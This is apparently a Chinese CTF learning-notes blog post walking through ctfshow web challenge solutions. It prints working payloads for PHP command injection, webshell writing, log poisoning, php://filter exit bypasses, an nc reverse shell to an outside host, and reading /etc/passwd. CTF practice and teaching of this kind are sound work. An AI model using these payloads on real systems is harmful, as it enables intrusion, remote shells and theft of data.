ctfshow web学习记录
我们要学习且不断努力,在ctfshow我又学习到了很多东西,弥补了自己不少基础
目录
七夕杯-web
1.web签到
第一种解法:
编辑
第二种解法:
2.easy_calc
3.easy_cmd
4.easy_sql
_萌新
web1-8
web9-21
获得百分之百的快乐
萌新赛签到题
WEB AK赛 签到_观己
1024_WEB签到
月饼杯||
web签到
新春欢乐赛
热身
web1 这里面的链接的链接值得学习
单身杯
web签到
摆烂杯
一行代码
36D练手赛
不知所措.jpg
七夕杯-web
1.web签到
这个我是看别人的wp,第一次遇到这种有点懵,仅支持较短命令执行,且不会回显。
通过测试我们可以知道他只能运行7位以内及7位的命令,还是挺短的
第一种解法:
参考:yu22x的博客
通过将命令写进文件中,访问得到命令运行的内容
ls />a
运行后,去访问http://url/api/a得到a文件,查看得到命令运行的内容
从这里我们就看到的了flag,但是因为长度限制的问题,我们就要运用linux系统的通配符
cat /*>a
这是我们正常思维执行,通过cat命令来读取/目录下所有文件,但是这一串的长度已经大于7了
有没有刚好小一位的呢,有,就是nl
正好我们进行扩展一下,当cat命令不能使用,我们还能使用tac、more、nl之类的
以及还能使用通配符列如cat命令是在/usr/bin/cat这里
我们就能使用/???/???/c?t这样之类的来充cat使用
最终payload为
nl /*>a
第二种解法:
这个我就不详细讲了可以参考CTF长度限制命令执行
payload为
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
这个相当于执行0这个文件,0这个文件按照命令,将一个木马写进了,1.php里面
就是命令执行的思路
2.easy_calc
现将代码都截取下来
<?phpif(check($code)){eval('$result='."$code".";");echo($result);
}function check(&$code){$num1=$_POST['num1'];$symbol=$_POST['symbol'];$num2=$_POST['num2'];if(!isset($num1) || !isset($num2) || !isset($symbol) ){return false;}if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){return false;}if(preg_match("/^[\+\-\*\/]$/", $symbol)){$code = "$num1$symbol$num2";return true;}return false;
}
分析一下,用POST的方式传进去三个参数分别为num1,sysmbo1,num2
preg_match函数进行匹配,三个参数的内容里面必须有/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/ 中最少一个符号否则就输出false
匹配sysmbo1中,必须有+ / * - 之一,之后将三个参数和在一块,eval()运行
这让我想起了data的伪协议,正好没有被过滤,真的有这么巧吗
我们尝试一下
写一个脚本,方便修改尝试
额,忘记说明了,这三个参数都是calc.php的,大家通过抓包的时候就可以知道
我是这样写的
import requestss = requests.Session()
url = "http://df917a09-dfd8-4022-9fab-27489fccbdf5.challenge.ctf.show/calc.php"data = {'num1': 'include "data:/','symbol': '/','num2': 'text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg"'
}url2=url+'?1=system("ls");'
a = s.post(url2, data=data).text
print(a)
得到了,这三个文件
calc.php
index.php
jquery.min.js
看来没有我们的flag
看看根目录
有这么一些东西,也是没有直接显示我们的flag
但是吧,怎么就突然多了一个secret目录我很好奇,ls看一下没有,cat一下就出flag了。。。。。。
这样就解决了
3.easy_cmd
题目源码
<?phperror_reporting(0);
highlight_file(__FILE__);$cmd=$_POST['cmd'];if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){exec(escapeshellcmd($cmd));
}
?>
这个我没搞过有点懵,看看wp,是要反弹shell的
可以参考这个:CTFshow自己的bilibili号上面有说
就是通过花生壳这个软件,利用nc来反弹shell
payload: cmd=nc 597594c76g.goho.co 26194 -e /bin/sh
顺便送给大家一个报错的处理方式
有的人,花生壳设置好了,按照这个搞但是没有shell反弹,这时候看看自己的花生壳的域名是不是能解析的,通常只要下载一个花生壳,在他里面搞就可以解决这个问题
4.easy_sql
这个吧,是真的不会了
_萌新
web1-8
我一共搞出来这么多方法
加号:id=999+1
或(or): id=999 or id=1000
减号: id=999- -1
乘法: id=250*4
16进制: id=0x3e8
单双引号:id='1000' (web1-web4单通)
或运算符:id= 999 || id=1000 这个是参考Ho1aAs的博客
异或运算符:id= 328^672 这个是参考Ho1aAs的博客
非运算符: id=~~1000 (web5-web6单通)
二进制:id=0b1111101000 (web7)
八进制: id=0o1750 (web7)
web8老梗了,直接删库得到flag,rm -rf /*
web9-21
web16要写脚本进行MD5碰撞,c=36d
正常可以试试phpinfo()尝试有没有漏洞
试试highlight_file("index.php");
passthru('cat /flag');
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("* ") 匹配任意文件
glob("* .txt")匹配以txt为后缀的文件
print_r(glob("*"));
?><?=`echo "Y2F0" | base64 /etc/passwd ``?>
通常有eval、system、assert的通常都是命令执行
正常使用 echo `ls` echo `cat flag.php`
例如flag被过滤可以尝试 fl``ag fla''g
空格被过滤了可以尝试{cat,/etc/passwd} cat<>/etc/passwd
使用$IFS$1也行
进行通配符匹配 即 /usr/bin/cat flag.php
c=/???/???/???%20????.???
/bin/ca? fla``g.php之类的也是这样
echo "Y2F0" | base64 /etc/passwd
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
在两边加 `
cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag这相当于一个马
这样也可,空格要url加密
当<>?=.* 当过滤了这么多字符可以用上面
遇见include函数执行的可以查看日志/var/log/nginx/access.log,将木马写进去
也是可以用data伪协议写进去
我也懒得写大部分这些应该是能搞定的。
获得百分之百的快乐
来讲一下这个题目
payload的话为
?1=>nl
?1=*
具体的情况的话可以参考小狐濡尾j 的博客
原理参考如何绕过四个字符限制getshell
萌新赛签到题
代码如下:
<?php
if(isset($_GET['url'])){system("curl https://".$_GET['url'].".ctf.show");
}else{show_source(__FILE__);
}?>
将他分段吧
payload: ?url=127.0.0.1;ls;?url=127.0.0.1;cat flag;
利用分号进行分割
WEB AK赛 签到_观己
看看代码
<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>
突然感觉莫名的熟悉
查查看日志/var/log/nginx/access.log
还真是。。。
老样子在User-Agent写马
1024_WEB签到
看看代码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-20 23:59:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
看来主要和call_user_func这个函数有关,我去查了一下,他是只能用没有参数的函数,这个有点难搞诶,在我的印象里面phpinfo一直都是这么phpinfo(),今天才知道还是可以用phpinfo的
f=phpinfo
Ctrl+f查询function看看有没有他自己定义的函数
感觉就是这个了
f=ctfshow_1024 得到flag
月饼杯||
web签到
<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {echo "小伙子不错嘛!!flag给你了:" . $flag;} else {echo "偶吼,带黑阔被窝抓到了!!!!";}
}
代码在这里,需要YYB用GET传参传进去一个数,MD5加密后弱等于他自己
这里就有一个字符串了,0e215962017,这个字符串MD5以后还是0e开头
新春欢乐赛
热身
进去给代码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/eval($_GET['f']);
额,确实热身
可是我四处查看,都没找到flag
看看phpinfo
有一个/etc/ssh/secret/youneverknow/secret.php文件看看
f=system("cat /etc/ssh/secret/youneverknow/secret.php");
得到flag
web1
先看代码:
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
error_reporting(0);$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
大家可以参考这一个php伪协议详解,这里面有关于绕过exit的详解
payload:?content=php://filter/write=string.rot13|<?cuc flfgrz("png /s*");?>|/resource=flag.php
之后访问flag.php,查看源代码得到flag
web2
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
session_start();
error_reporting(0);include "flag.php";if(count($_POST)===1){extract($_POST);if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){echo $flag;}
}
?>
说实在这个属实是有点小懵,conut函数是检查参数的,所以我们必须要一个参数才能进入下一步
这里主要还是运用session_start()
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
所以我们使用cookie的会话ID为HappyNewYear,然后使用这个参数,是这个意思吧,我也不是特别的清楚。。
cookie: PHPSESSID=HappyNewYear
post: session_id=session_id
单身杯
web签到
先看代码:
<?php# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.comerror_reporting(0);
highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){include $file;}}
strrev函数就是将字符串相反
让他弱等于原来传进去的字符串
然后include执行这一串字符串
我们就用data传进去一个马不就行
file=data://text/plain,<?php eval($_GET['cmd']);?>>?;)]'dmc'[TEG_$(lave php?<,nialp/txet//:atadurl/?cmd=system("ls"); //flag在根目录
摆烂杯
一行代码
先看代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-11-18 21:25:22
# @Last Modified by: h1xa
# @Last Modified time: 2021-11-18 22:14:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);真就一行呗
看了看,我们要读取flag.php获得flag,但是他用的是 || 诶
||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
所以我们就要将他们都等于false就能输出flag了
先看第一个(!error_reporting(0))||stripos($_GET['filename'],'.')
通过stripos函数查询filename输入的字符串是否有 . 因为我们需要false,所以字符串里面不能有句号
好了第一个清楚了
看第二个 ($_GET['id']!=0)
id不能等于0,那我们就让他等于0
看第三个 (strlen($_GET['content'])<=7)
所以content的长度要大于7才行,什么垃圾字符随便填
第四个 (!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'
这个的话好像只要绕过后面那个,传入一个W
第五个(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")
这个的话可以使用php://input或者data伪协议
我的建议是使用data伪协议,这样就不用拦包了,方便一点
payload: ?id=0&content=W1111111&filename=data://text/plain,welcome2ctfshow
36D练手赛
不知所措.jpg
进去是这样的
给个php,还提示了file参数而且里面必须有test
尝试传入一个test看看,得到testphp,尝试加一个句号
得到了test.php的内容
用file伪协议读取index.php
第一种方法:PHP://filter/read=convert.base64-encode|test|/resource=index.
第二种方法:PHP://filter/read=convert.base64-encode/resource=test/../index.
得到index.php的内容
尝试使用data伪协议
?file=data://text/plain,<?php eval(system("ls"));?>//test
?file=data://text/plain,<?php eval(system("ls /"));?>//test
?file=data://text/plain,<?php eval(system("cat /FFFFFFFL@GGGG"));?>//test
得到flag
新手杯-web
这他喵的,是新手能做出来的。。。。
easy_eval
<?phperror_reporting(0);
highlight_file(__FILE__);$code = $_POST['code'];if(isset($code)){$code = str_replace("?","",$code);eval("?>".$code);}
额,他将前面闭合了,让我们重新写一个,进行命令执行,但是?被禁了,意味着我们不能使用<?= ?>
但是我们可以利用<script>标签
payload:<script language="php">system('ls')</script>
ctfshow web学习记录相关推荐
- 第一周前端web学习记录
第一周前端web学习记录 #什么是HTML.CSS? 如何写代码以及在哪里写 vs code 的基本使用方法 浏览器 网站开发 HTML 的结构基础和属性 创建标签 嵌套 HTML标签 设置属性 HT ...
- CTF之web学习记录 -- 命令注入
命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述 web服务器后端代码有时会调用一些执行系 ...
- CTF之web学习记录 -- 文件包含
文件包含 概述 常见文件包含函数和原理 本地文件包含 远程文件包含 远程包含加问号截断 利用php://filter 利用php://input 序列化和反序列化 Java文件包含 CVE-2018- ...
- java web学习记录(ubuntu18.04 java8 tomcat8)
dom的应用 tomcat的安装,实测可用 启动的话,就不开机自了,/opt/tomcat8/bin/startup.sh这句用来启动 用idea创建一个java web,实测可用 page指令常用有 ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- Web学习历程记录(七)——Tomcat
Web学习历程记录--Tomcat Web 静态Web资源 指Web页面中供人们浏览的数据始终是不变的 动态Web资源 指web页面中供人们浏览的数据是由程序产生的,不同时间点访问web页面看到的内容 ...
- WEB开发零基础到入门之HTML+CSS(学习记录)
序言 之前一直想把自己的一个学习记录,以文章形式记录下来,方便于自己后期查找和温故.自己想了想准备建个人博客站来做记录,但是又想到了csdn的大家庭:所以就放弃了用个人站记录的想法,关于这里简单说明下 ...
- SIEMENS PLC Web API 学习记录
SIEMENS PLC Web API 学习记录 为顺应时代发展,西门子为 S7-200SMART/1200/1500 PLC 添加IT通讯所需要的 Web API.(由于S7-200 SMART 新 ...
- Ctfshow web入门 PHP特性篇 web89-web151 全
web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...
最新文章
- 如何在CPU上优化GEMM(上)
- 二十二、插值查找算法
- Play 2.0 用户指南 - 模版引擎 -- 针对Scala开发者
- 如何毕业后继续白嫖知网
- 一文归纳总结分布式架构的那些事!
- python网络编程要学吗_总算发现如何学习python网络编程
- 多种方法实现自适应布局
- 我同事狠心用 Python 3 ,刚开始就直接崩溃!你们试试......
- android studio中如何替换gradle以防下载卡住
- 参数展示初始三层架构
- 境内银行卡磁条信息格式
- ENVI学习总结(十四)——高光谱地物识别
- Kettle 使用JS加密解密
- 光伏逆变器MPPT基本算法介绍-李星硕
- geek软件是干什么的_geektool--一款很geek的工具
- 银河麒麟高级服务器操作系统 V10 版本安装教程
- 使用SMMU的PMU查看性能数据
- 分布式理论(六)—— Raft 算法
- 2021年芯片产业发展的五大关键词
- selenium+cookie自动登录新浪微博(二)
热门文章
- Java练习:两种方式求1+1/2!+1/3!+1/4!+...前20项的和、用for,while,do-while分别实现1+1/2!+1/3!+1/4!+...前20项的和
- 前置机服务器windows系统,前置机和服务器怎么设置连接
- css3背景色由浅黑变深黑_CSS3 filter(滤镜)实现网页灰色或者黑色模式的代码
- 男孩女孩 --- 《心 跳》
- 《地铁:离去》为何能打动人心? 4A Games背后的叙事逻辑
- Java中的Math类相关方法整理
- 广和通5G R16模组FM160-NA连续获得北美主流运营商ATT和T-Mobile认证
- 惊天地兮泣鬼神,C语言学习库诞生(计算机达人成长之路42)
- lisp绘制棱锥_ICAD命令全集.doc
- ASO优化之关于应用的搜索热词